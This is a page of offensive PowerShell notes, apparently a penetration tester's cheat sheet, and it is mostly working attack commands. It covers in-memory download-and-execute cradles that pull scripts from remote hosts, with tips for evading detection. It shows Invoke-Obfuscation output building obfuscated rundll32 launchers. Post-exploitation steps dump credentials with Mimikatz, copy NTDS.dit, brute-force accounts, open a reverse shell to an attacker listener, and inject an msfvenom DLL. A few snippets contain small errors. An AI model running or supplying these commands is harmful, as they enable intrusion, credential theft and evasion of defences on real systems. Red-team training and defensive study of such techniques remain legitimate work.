Offensive Powershell

Downloading and Execution

2 Primary ways:

  1. Download something to disk

  2. Run within the Powershell memory (Preferred!)

In-Memory execution (> Powershell 2.0):

  • iex (New-Object Net.WebClient).DownloadString()

  • (New-Object Net.WebClient).DownloadData()

  • (New-Object Net.WebClient).OpenRead()

  • .Net [Net.HttpWebRequest] class

  • Word.Application COM Object

  • Excel.Application COM Object

  • InternetExplorer.Application COM Object

  • MsXml2.ServerXmlHttp Com Object

  • Certutil.exe -ping argument

Disk-based execution (> PS 2.0):

  • iex (New-Object Net.WebClient).DownloadFile()

  • bitsadmin.exe

  • certutil.exe -urlcache -f <remote_location> <local>

Net.WebClient DownloadString

Download and execute a remotely hosted script: Note iex stands for Invoke-Expression

iex (New-Object Net.WebClient).DownloadString("http://x.x.x.x/script.ps1")

Note if using normal cmd.exe, we need to use single quote ' instead:

powershell iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x/script.ps1')

Tips 1: Use HTTPS to evade detection

Tips 2: Even if the remote script has an extension .gif, the script works anyway!

powershell iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x/script.gif')

Tips 3: Customize the User Agent

$downloader = New-Object System.Net.WebClient
$downloader.Headers.add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.1234.55 Safari/537.36")
$payload = "http://192.168.1.2/script.ps1"
$command = $downloader.DownloadString($payload)
iex $command

Net.WebClient DownloadFile

$downloader = New-Object System.Net.WebClient
$payload = "http://192.168.1.2/script.ps1"
$local_file = "C:\Temp\script.ps1"
$downloader.DownloadFile($payload, $local_file)

To execute the downloaded file, simply:

& $local_file

If the system has web proxy configured, we can do:

$downloader = New-Object System.Net.WebClient
$payload = "http://192.168.1.2/script.ps1"
$cmd = $downloader.DownloadFile($payload)
$proxy = [Net.WebRequest]::GetSystemWebProxy()
$proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
$downloader.Proxy = $proxy
iex $cmd

Net.WebRequest

Download and execute scripts in memory

$req = [System.Net.WebRequest]::Create("http://192.168.2.2/script.ps1")
$res = $req.GetResponse()

$proxy = [Net.WebRequest]::GetSystemWebProxy()
$proxy.Credentials = [Net.CredentialCache]::DefaultCredentials

$req.Proxy = $proxy

iex ([System.IO.StreamReader]($res.GetResponseStream())).ReadToEnd()

System.Xml.XmlDocument

First host a XML file. For example:

<?xml version="1.0"?>
<command>
    <a>
        <execute>Get-Process</execute>
    </a>
</command>

Then on the target machine:

$xmldoc = New-Object System.Xml.XmlDocument
$xmldoc.Load("http://192.168.1.2/file.xml")
iex $xmldoc.command.a.execute

Msxml2.XMLHTTP COM Object

$downloader = New-Object -ComObject Msxml2.XMLHTTP
$downloader.open("GET", "http://192.168.2.2/script.ps1", $false)
$downloader.send()
iex $downloader.responseText

WinHttp.WinHttpRequest.5.1 COM Object

$downloader = Net-Object -ComObject WinHttp.WinHttpRequest.5.1
$downloader.open("GET", "http://192.168.2.2/script.ps1", $false)
$downloader.send()
iex $downloader.responseText

Tools for Crafting Obfuscated Download Cradles

Obfuscation

Tool: Invoke-Obfuscation

Using Invoke-Obfuscation

Suppose we have the following command

iex (New-Object Net.WebClient).DownloadString("http://192.168.2.2/script.ps1")

First import the module:

Import-Module .\Invoke-Obfuscation.psd1

Then input the scriptblock:

Invoke-Obfuscation> SET SCRIPTBLOCK iex (New-Object Net.WebClient).DownloadString("http://192.168.2.2/script.ps1")


Successfully set ScriptBlock:
iex (New-Object Net.WebClient).DownloadString("http://192.168.2.2/script.ps1")

Choose a method with reference to Invoke-Obfuscation, like concat + reverse:

Invoke-Obfuscation> STRING


Choose one of the below String options to APPLY to current payload:

[*] STRING\1    Concatenate entire command
[*] STRING\2    Reorder entire command after concatenating
[*] STRING\3    Reverse entire command after concatenating


Invoke-Obfuscation\String> 3

Executed:
  CLI:  String\3
  FULL: Out-ObfuscatedStringCommand -ScriptBlock $ScriptBlock 3

Result:
 " $(SeT-ITeM  'varIaBle:oFs'  '') " +([StRInG] [rEgeX]::maTCHeS("XEI | )43]Rahc[,)58]Rahc[+56]Rahc[+79]Rahc[(  ecalPeR- )')UAa1'+'s'+'p.tpircs/'+'2.2.861.29'+'1//:ptthU'+'Aa(g'+'n'+'irt'+'Sda'+'olnw'+'oD.)'+'tneilC'+'beW.teN '+'tce'+'j'+'bO-weN( '+'x'+'e'+'i'(( " ,'.','R'+'IGht'+'tOleFT' )| %{$_ } )+" $(sET-iTeM 'vARiAble:OfS' ' ' )"| . ( $PshOME[4]+$PsHOME[34]+'x')

Note that you when you apply more obfuscations, the result will base on the last resulting command. As a result, the result will become much longer! So if you want to change back to the original one, use RESET

Then you can choose a launcher ...

Invoke-Obfuscation\String> SHOW


SHOW OPTIONS :: Yellow options can be set by entering SET OPTIONNAME VALUE.

[*] ScriptPath : N/A
[*] ScriptBlock: iex (New-Object Net.WebClient).DownloadString("http://192.168.2.2/script.ps1")
[*] CommandLineSyntax: Invoke-Obfuscation -ScriptBlock {iex (New-Object Net.WebClient).DownloadString("http://192.168.2.2/script.ps1")} -Command 'String\3' -Quiet
[*] ExecutionCommands:
    Out-ObfuscatedStringCommand -ScriptBlock $ScriptBlock 3
[*] ObfuscatedCommand:  [STrIng]::JoIn( '' ,( [RegeX]::MaTches("))43]RaHc[F- )')'+'}0{1sp.tpirc'+'s'+'/2'+'.2'+'.861.'+'291/'+'/:pt'+'t'+'h}0{(gni'+'rtSdaol'+'nwoD.)t'+'nei'+'lCbeW.'+'t'+'eN tce'+'j'+'bO-we'+'N( xei'(( ()''Nioj-'x'+]3,1[)(GnirtSOT.ECnEReFErPesoBreV$ ( &" ,'.' ,'riGhtt'+'OLE'+'Ft')|fOREACH-oBJEct{$_.VaLUE } ))  |&( $PShoME[4]+$pshOme[34]+'X')
[*] ObfuscationLength: 337


Choose one of the below String options to APPLY to current payload:

[*] STRING\1    Concatenate entire command
[*] STRING\2    Reorder entire command after concatenating
[*] STRING\3    Reverse entire command after concatenating


Invoke-Obfuscation\String> LAUNCHER

Choose one of the below options:

[*] TOKEN       Obfuscate PowerShell command Tokens
[*] AST         Obfuscate PowerShell Ast nodes (PS3.0+)
[*] STRING      Obfuscate entire command as a String
[*] ENCODING    Obfuscate entire command via Encoding
[*] COMPRESS    Convert entire command to one-liner and Compress
[*] LAUNCHER    Obfuscate command args w/Launcher techniques (run once at end)




Choose one of the below Launcher options:

[*] LAUNCHER\PS         PowerShell
[*] LAUNCHER\CMD        Cmd + PowerShell
[*] LAUNCHER\WMIC       Wmic + PowerShell
[*] LAUNCHER\RUNDLL     Rundll32 + PowerShell
[*] LAUNCHER\VAR+       Cmd + set Var && PowerShell iex Var
[*] LAUNCHER\STDIN+     Cmd + Echo | PowerShell - (stdin)
[*] LAUNCHER\CLIP+      Cmd + Echo | Clip && PowerShell iex clipboard
[*] LAUNCHER\VAR++      Cmd + set Var && Cmd && PowerShell iex Var
[*] LAUNCHER\STDIN++    Cmd + set Var && Cmd Echo | PowerShell - (stdin)
[*] LAUNCHER\CLIP++     Cmd + Echo | Clip && Cmd && PowerShell iex clipboard
[*] LAUNCHER\RUNDLL++   Cmd + set Var && Rundll32 && PowerShell iex Var
[*] LAUNCHER\MSHTA++    Cmd + set Var && Mshta && PowerShell iex Var


Invoke-Obfuscation\Launcher> RUNDLL

Choose one of the below Launcher\RunDll options to APPLY to current payload:

Enter string of numbers with all desired flags to pass to function. (e.g. 23459)

[*] LAUNCHER\RUNDLL\0   NO EXECUTION FLAGS
[*] LAUNCHER\RUNDLL\1   -NoExit
[*] LAUNCHER\RUNDLL\2   -NonInteractive
[*] LAUNCHER\RUNDLL\3   -NoLogo
[*] LAUNCHER\RUNDLL\4   -NoProfile
[*] LAUNCHER\RUNDLL\5   -Command
[*] LAUNCHER\RUNDLL\6   -WindowStyle Hidden
[*] LAUNCHER\RUNDLL\7   -ExecutionPolicy Bypass
[*] LAUNCHER\RUNDLL\8   -Wow64 (to path 32-bit powershell.exe)


Invoke-Obfuscation\Launcher\RunDll> 0


Process Argument Tree of ObfuscatedCommand with current launcher:
C:\winDOws\SYstEM32\rundll32  SHELL32.DLL ,, ShellExec_RunDLL   "PoWerSHeLl"    " [STrIng]::JoIn( '' ,( [RegeX]::MaTches(\"))43]RaHc[F- )')'+'}0{1sp.tpirc'+'s'+'/2'+'.2'+'.861.'+'291/'+'/:pt'+'t'+'h}0{(gni'+'rtSdaol'+'nwoD.)t'+'nei'+'lCbeW.'+'t'+'eN tce'+'j'+'bO-we'+'N( xei'(( ()''Nioj-'x'+]3,1[)(GnirtSOT.ECnEReFErPesoBreV$ ( ^&\" ,'.' ,'riGhtt'+'OLE'+'Ft')|fOREACH-oBJEct{$_.VaLUE } ))  |&( $PShoME[4]+$pshOme[34]+'X')"
|
\--> "PoWerSHeLl"    " [STrIng]::JoIn( '' ,( [RegeX]::MaTches(\"))43]RaHc[F- )')'+'}0{1sp.tpirc'+'s'+'/2'+'.2'+'.861.'+'291/'+'/:pt'+'t'+'h}0{(gni'+'rtSdaol'+'nwoD.)t'+'nei'+'lCbeW.'+'t'+'eN tce'+'j'+'bO-we'+'N( xei'(( ()''Nioj-'x'+]3,1[)(GnirtSOT.ECnEReFErPesoBreV$ ( &\" ,'.' ,'riGhtt'+'OLE'+'Ft')|fOREACH-oBJEct{$_.VaLUE } ))  |&( $PShoME[4]+$pshOme[34]+'X')"

Executed:
  CLI:  Launcher\RunDll\0
  FULL: Out-PowerShellLauncher -ScriptBlock $ScriptBlock 4

Result:
C:\winDOws\SYstEM32\rundll32  SHELL32.DLL ,, ShellExec_RunDLL   "PoWerSHeLl"    " [STrIng]::JoIn( '' ,( [RegeX]::MaTches(\"))43]RaHc[F- )')'+'}0{1sp.tpirc'+'s'+'/2'+'.2'+'.861.'+'291/'+'/:pt'+'t'+'h}0{(gni'+'rtSdaol'+'nwoD.)t'+'nei'+'lCbeW.'+'t'+'eN tce'+'j'+'bO-we'+'N( xei'(( ()''Nioj-'x'+]3,1[)(GnirtSOT.ECnEReFErPesoBreV$ ( ^&\" ,'.' ,'riGhtt'+'OLE'+'Ft')|fOREACH-oBJEct{$_.VaLUE } ))  |&( $PShoME[4]+$pshOme[34]+'X')"

EncodedCommand

Generally not recommended since it is easily caught by AV.

Example:

PS C:\> $command = "whoami"
PS C:\> $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
PS C:\> $encodedCommand = [Convert]::ToBase64String($bytes)
PS C:\> echo $encodedCommand
dwBoAG8AYQBtAGkA
PS C:\> powershell -enc $encodedCommand
twd\administrator

Information Gathering & Recon

PowerSploit

https://github.com/PowerShellMafia/PowerSploit

PowerSploit - Invoke-Portscan

Ping Scan

Invoke-Portscan -Hosts "192.168.1.0/24" -PingOnly
Invoke-Portscan -HostFile ipList.txt -PingOnly
Invoke-Portscan -HostFile ipList.txt -PingOnly | Export-Csv C:\ping_scan.csv

Scan OpenPorts on Alive hosts:

Invoke-PortScan -HostFile alive_host.txt -ports "<low>-<high>"
Invoke-PortScan -HostFile alive_host.txt -oG portscan.gnmap -f -ports "1-80"

PowerSploit - Get-HttpStatus

Find existing paths with a dictionary:

Get-HttpStatus -Target <ip> -Path <dictionary> -Port 80 | ? {$_.Status -match "ok"}

Posh-SecMod - Invoke-ARPScan

https://github.com/darkoperator/Posh-SecMod

Invoke-ARPScan -CIDR 192.168.3.0/24

Posh-SecMod - Invoke-ReverseDNSLookup

Invoke-ReverseDNSLookup -CIDR 192.168.3.0/24

Post-Exploitation

Nishang

Nishang Gather - Copy-VSS

Get NTDS.dit and content of SYSTEM registry hive

iex (New-Object Net.WebClient).DownloadString("http://x.x.x.x/Copy-VSS.ps1"); Copy-VSS

Nishang Gather - Get-Information

iex (New-Object Net.WebClient).DownloadString("http://x.x.x.x/Get-Information.ps1"); Get-Information

Nishang Gather - Get-PassHints

iex (New-Object Net.WebClient).DownloadString("http://x.x.x.x/Get-PassHints.ps1"); Get-PassHints

Nishang Gather - Invoke-Mimikatz

For example, do a DumpCreds

iex (New-Object Net.WebClient).DownloadString("http://x.x.x.x/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -DumpCreds

Nishang Scan - Invoke-BruteForce

Brute force AD accounts, SQL server, web and FTP servers.

Invoke-BruteForce -ComputerName xxx.xxx -UserList C:\users.txt -PasswordList <dictionary> -Service ActiveDirectory -StopOnSuccess -Verbose

This can also be used as password spraying tool if we only have 1-2 passwords in the dictionary.

Nishang Shells - InvokePowerShellTcp

Obtain reverse Powershell from target to netcat listener - but in cleartext!

On the attacker side (e.g. Kali):

nc -nlvp 443

On the target:

powershell.exe -Command iex (New-Object Net.WebClient).DownloadString("http://x.x.x.x/Invoke-PowerShellTcp.ps1"); Invoke-PowerShellTcp -Reverse -IPAddress <attacker_ip> -Port 443

PowerUp

PowerUp is in the following location:

Invoke-Module PowerSploit\Privesc\PowerUp.psm1

To see the command available:

Get-Command -Module Privesc

PowerUp - Invoke-AllChecks

This looks for misconfigurations, permissions issues with services, DLL hijacking ...

Invoke-AllChecks
Invoke-AllChecks -HTMLReport

PowerUp - Invoke-DLLInjection

Inject attacker-defined DLL into any existing process ID on the target. Reference:

http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

  1. First generate a DLL using MSFVENOM: Of course you can generate a Meterpreter as well.

msfvenom -p windows/exec CMD="cmd.exe" -f dll > cmd.dll

2. Get the target download the DLL. For example:

iex (New-Object Net.WebClient).DownloadFile("http://x.x.x.x/cmd.dll", "C:\cmd.dll")

3. Identify a process on the target system to inject our DLL. We need to get a target PID:

ps | ? {$_.ProcessName -match "xxxxx"}

4. Finally inject the DLL. Assume we target PID 7400:

iex (New-Object Net.WebClient).DownloadString("http://x.x.x.x/Invoke-DLLInjection.ps1"); Invoke-DLLInjection -ProcessID 4700 C:\cmd.dll

psgetsystem

First you NEED ADMIN PRIVILEGE.

Help to get SYSTEM privileges via a parent process, which then spawns a child process which effectively inherits the SYSTEM access privileges of the parent.

This injects ourselves into an already signed / trusted process.

Example Usage:

  1. Identify SYSTEM processes and choose I PID

Get-Process -IncludeUserName | ? { $_.UserName -match "SYSTEM"} | fl -Property Username,Name,Id

2. Exploit

. .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(<system__pid>, "<command_to_execute>")

Empire

https://github.com/EmpireProject/Empire/wiki/Quickstart

Last updated